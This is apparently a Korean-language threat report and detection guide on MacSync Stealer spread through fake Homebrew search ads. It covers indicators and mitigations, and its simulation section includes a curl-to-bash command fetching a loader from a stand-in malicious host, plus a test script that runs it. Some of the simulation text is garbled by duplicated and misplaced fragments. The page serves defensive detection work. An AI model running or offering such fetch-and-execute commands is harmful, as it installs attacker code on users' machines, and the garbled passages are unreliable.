가짜 Homebrew 광고로 인한 MacSync Stealer 감염
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
공격자는 악성 검색 광고를 사용하여 사용자를 가짜 Homebrew 웹사이트로 유도하며, 이 사이트는 macOS 시스템을 대상으로 MacSync Stealer를 설치합니다. 위장된 페이지는 피해자에게 셸 명령을 복사하여 실행하도록 지시하며, 이 명령은 악성코드를 다운로드하고 실행합니다. 실행되면, 스틸러는 자격 증명과 시스템 정보를 수집하고, 이를 ZIP 파일로 압축하여 명령 및 제어 서버로 전송합니다. 이 캠페인은 macOS 사용자를 타겟으로 하는 악성 광고 사용이 증가하고 있음을 강조합니다.
조사
분석가는 악성 광고에서 Google 사이트에 호스팅된 위장된 Homebrew 페이지로의 공격 경로를 추적했습니다. 해당 페이지에서는 zsh 명령을 제시했으며, 실행 시 공격자가 제어하는 인프라에서 추가 스크립트를 다운로드하고 수집된 데이터를 임시 ZIP 아카이브로 생성했습니다. 네트워크 트래픽은 아카이브가 도메인으로 유출됨을 확인했습니다 glowmedaesthetics.com연구진은 감염 체인과 관련된 URL, 도메인 및 파일 경로를 문서화했습니다.
완화 전략
사용자는 신뢰할 수 없는 웹사이트의 명령을 복사하여 실행하는 것을 피해야 하며, 패키지 관리자 페이지의 합법성을 상호작용 전에 확인해야 합니다. 광고 차단 또는 보안 중심의 브라우저 확장은 악성 광고 링크에 대한 노출을 줄이는 데 도움이 될 수 있습니다. macOS에서는 Gatekeeper가 활성화된 상태를 유지하고 애플리케이션 실행을 신뢰할 수 있고 서명된 소프트웨어로 제한해야 합니다. 방어자는 또한 미지의 도메인에 대한 아웃바운드 트래픽을 모니터링해야 합니다.
대응
보안 팀은 의심스러운 zsh 명령의 실행 및 모든 활동이 식별된 악성 URL에 도달하는 것을 감지해야 합니다. 또한 생성에 대한 알림과 /tmp/osalogging.zip 아카이브 및 glowmedaesthetics.com쪽으로의 아웃바운드 트래픽에 대한 경고가 생성되어야 합니다. 감염이 의심되면 영향을 받은 시스템을 격리하고, 포렌식 증거를 수집하며, 손상된 자격 증명을 재설정해야 합니다.
"graph TB %% Class Definitions classDef technique fill:#99ccff %% Node definitions initial_malicious_link["<b>기술</b> – <b>T1204.001 악성 링크</b><br/><b>설명</b>: 피해자가 광고의 악성 URL을 클릭하고 가짜 Homebrew 다운로드 페이지로 이동합니다."] class initial_malicious_link technique user_copy_paste["<b>기술</b> – <b>T1204.004 악성 복사 및 붙여넣기</b><br/><b>설명</b>: 피해자가 웹페이지에서 제작된 스크립트를 복사하여 터미널에 붙여넣고 공격자 코드를 실행합니다."] class user_copy_paste technique unix_shell["<b>기술</b> – <b>T1059.004 Unix 셸</b><br/><b>설명</b>: Zsh 스크립트가 실행되어 추가 페이로드를 glowmedaesthetics.com에서 다운로드합니다."] class unix_shell technique gui_input_capture["<b>기술</b> – <b>T1056.002 GUI 입력 캡처</b><br/><b>설명</b>: 가짜 그래픽 비밀번호 프롬프트가 macOS 사용자 비밀번호를 캡처합니다."] class gui_input_capture technique local_data_staging["<b>기술</b> – <b>T1074.001 로컬 데이터 스테이징</b><br/><b>설명</b>: 시스템 정보 및 로그가 이후 유출을 위해 /tmp/osalogging.zip에 아카이브됩니다."] class local_data_staging technique exfiltration_c2["<b>기술</b> – <b>T1041 C2 채널을 통한 유출</b><br/><b>설명</b>: ZIP 파일이 HTTPS를 통해 공격자의 C2 서버로 전송됩니다."] class exfiltration_c2 technique gather_software_info["<b>기술</b> – <b>T1592.002 소프트웨어</b><br/><b>설명</b>: 스크립트가 설치된 소프트웨어를 나열하여 피해자 호스트의 인벤토리를 작성합니다."] class gather_software_info technique data_local_system["<b>기술</b> – <b>T1005 로컬 시스템에서 데이터</b><br/><b>설명</b>: 유출된 아카이브에 포함하기 위해 추가 로컬 파일을 읽습니다."] class data_local_system technique %% Connections initial_malicious_link –>|로 연결됨| user_copy_paste user_copy_paste –>|로 연결됨| unix_shell unix_shell –>|로 연결됨| gui_input_capture gui_input_capture –>|로 연결됨| local_data_staging local_data_staging –>|로 연결됨| exfiltration_c2 local_data_staging –>|또한 연결됨| gather_software_info local_data_staging –>|또한 연결됨| data_local_system "
공격 흐름
시뮬레이션 실행
전제 조건: 텔레메트리 및 기본 프라이트 체크가 통과해야 합니다.
이유: 이 섹션은 감지 규칙을 트리거하기 위한 적대적 기술 (TTP)의 정확한 실행을 상세히 설명합니다. 명령과 내러티브는 확인된 TTP를 직접 반영해야 하며, 감지 논리에 의해 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.
-
공격 내러티브 및 명령:
-
초기 미끼: 피해자는 피싱 이메일을 수신하며, 이 이메일에는 악성 설치 스크립트를 호스팅하는 가짜 Homebrew “탭” 페이지로의 링크가 포함됩니다.
-
실행: 피해자는 페이지에서 원라이너를 복사하여 자신의 터미널에 붙여넣습니다:
curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash- The
활동이 식별된 악성 URL에 도달하는 것을 감지해야 합니다. 또한바이너리가 호출됩니다 (규칙과 일치).
- The
-
다운로더 스크립트 (
macsyncloader.sh):- 맥싱크 페이로드를
활동이 식별된 악성 URL에 도달하는 것을 감지해야 합니다. 또한. - 통해 다운로드합니다
페이로드를페이로드를 - 에 기록하고 실행합니다.
macOS에서의를 통해 자격 증명 탈취 대화 상자가 표시됩니다 (여기서는 단순히 echo로 시뮬레이션합니다).
- 맥싱크 페이로드를
-
지속성: 이 스크립트는 로그인 시 실행되도록 LaunchAgent를 등록합니다 (현재 규칙의 범위 외이지만 더 광범위한 탐지를 위해 관련 있음).
-
-
회귀 테스트 스크립트: 다음 Bash 스크립트는 정확한 단계를 재현하여 탐지 논리와 일치하는 텔레메트리를 보장합니다.
#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # 시뮬레이션된 공격자 제어 스크립트 호스트 # ------------------------------------------------- MALICIOUS_HOST="https://malicious.example.com" LOADER="${MALICIOUS_HOST}/macsyncloader.sh" # ------------------------------------------------- # 단계 1: 악성 로더 다운로드 및 실행 # ------------------------------------------------- echo "[*] curl을 호출하여 탐지 규칙을 트리거합니다 ..." curl -fsSL "$LOADER" | /bin/bash # ------------------------------------------------- # 단계 2: (로더 내부) – 시뮬레이션된 페이로드 # ------------------------------------------------- # 로더는 일반적으로 원격 호스트에서 가져옵니다. # 이 테스트의 목적을 위해 페이로드를 온라인으로 삽입합니다. cat <<'PAYLOAD' > /tmp/.macsync #!/usr/bin/env bash echo "MacSync 페이로드가 실행되었습니다 – 호스트 정보 유출 중..." # 자격 증명 수집 시뮬레이션 (실제 데이터 없음) echo "수집된 자격 증명: user@example.com / password123" PAYLOAD chmod +x /tmp/.macsync /tmp/.macsync echo "[*] 시뮬레이션 완료." -
정리 명령: 아티팩트를 제거하고 남아있는 프로세스를 종료합니다.
#!/usr/bin/env bash set -euo pipefail echo "[*] 시뮬레이션 아티팩트 정리 중 ..." rm -f /tmp/.macsync # 이 테스트에서는 지속적 서비스가 생성되지 않았습니다 echo "[*] 정리 완료."